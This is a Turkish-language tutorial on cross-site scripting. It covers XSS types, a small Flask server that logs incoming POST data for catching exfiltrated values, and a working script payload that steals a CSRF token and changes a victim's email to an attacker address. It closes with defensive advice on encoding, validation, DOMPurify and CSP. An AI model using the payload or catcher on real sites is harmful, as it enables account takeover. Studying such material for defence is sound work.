Cross-site scripting (XSS olarak da bilinir), bir saldırganın kullanıcıların savunmasız bir uygulama ile olan etkileşimlerini tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır.
Bir saldırganın, farklı web sitelerini birbirinden ayırmak için tasarlanmış olan "Same Origin" politikasını atlatmasına olanak tanır.
Cross-site scripting güvenlik açıkları normalde bir saldırganın kurban kullanıcı gibi davranmasına, kullanıcının gerçekleştirebildiği tüm eylemleri gerçekleştirmesine ve kullanıcının verilerine erişmesine olanak tanır. Kurban kullanıcının uygulama içinde ayrıcalıklı erişimi varsa, saldırgan uygulamanın tüm işlevleri ve verileri üzerinde tam kontrol sahibi olabilir.
XSS Türleri
Stored XSS: Saldırganın zararlı kodu web uygulamasının veritabanına kaydedip saklaması ve bu kodun daha sonra kullanıcıya sunulmasıyla gerçekleşir. En kritik xss türüdür.
Reflected XSS: Saldırganın kullanıcıya özel bir link veya form aracılığıyla zararlı bir URL veya istek göndermesiyle gerçekleşir. Sunucu, bu veriyi işler ve sonuçları doğrudan kullanıcıya geri gönderir. Yüksek seviye bir zafiyettir.
DOM Based XSS: Saldırganın web sayfasının JavaScript tarafında doğrudan manipülasyon yapmasını içerir. Bu, tarayıcıda JavaScript tarafından oluşturulan ve manipüle edilen sayfaları hedefler. Yüksek seviye bir zafiyettir.
Self XSS: Kullanıcının kendisi tarafından tetiklenmesi gereken xss türüdür. Düşük seviye bir zafiyettir.
Yöntemler
Special Karakterleri Denemek
Special karakterleri girdilerde deneyerek filtrelenmediyse bunu görebiliriz.
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['POST'])
def catch_request():
data = request.get_data(as_text=True)
print("Gelen veri:", data)
return '', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
XSS ile CSRF Token Bypass
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=attacker@gmail.com')
};
</script>
Eğer xss çalıştırmak için bir cookie manipülasyonu yapmanız gerekiyorsa hedef ilk kez url'yi açtığında xss çalışmayacaktır. Aşağıdaki payload sayesinde hedefin url'yi iki kez ziyaret etmesini sağlıyoruz
Çıkışta kullanıcı verisini sayfaya yazmadan önce bağlama göre encode et.
Girişte gelen veriyi alırken mümkün olduğunca sıkı doğrulama yap.
HTML bağlamında tehlikeli karakterleri HTML entity’ye çevir.
JavaScript içinde kullanılacak verileri Unicode ile escape et.
Bazı durumlarda hem JavaScript hem HTML için çift katmanlı encoding gerekir.
Veri beklenen formatta değilse girişte engellenmeli, düzeltmeye çalışılmamalı.
Doğrulama yaparken kara liste yerine güvenli içerikler içeren beyaz liste kullanılmalı.
Güvenli HTML’e izin verilmesi gerekiyorsa DOMPurify gibi kütüphaneler tercih edilmeli.
Template motorları genelde otomatik kaçış sağlar, doğrudan string birleştirme yapılmamalı.
PHP’de htmlentities() fonksiyonu ile UTF-8 ve ENT_QUOTES kullanarak içerik encode edilmeli.
JavaScript’te HTML veya JavaScript stringleri için özel encode fonksiyonları yazılmalı.
jQuery selector içine doğrudan kullanıcı verisi koyulmamalı.
CSP kullanılarak dış scriptlerin yüklenmesi ve inline scriptlerin çalışması engellenmeli.
Nonce veya hash yöntemiyle sadece izinli scriptlerin çalışmasına izin verilmeli.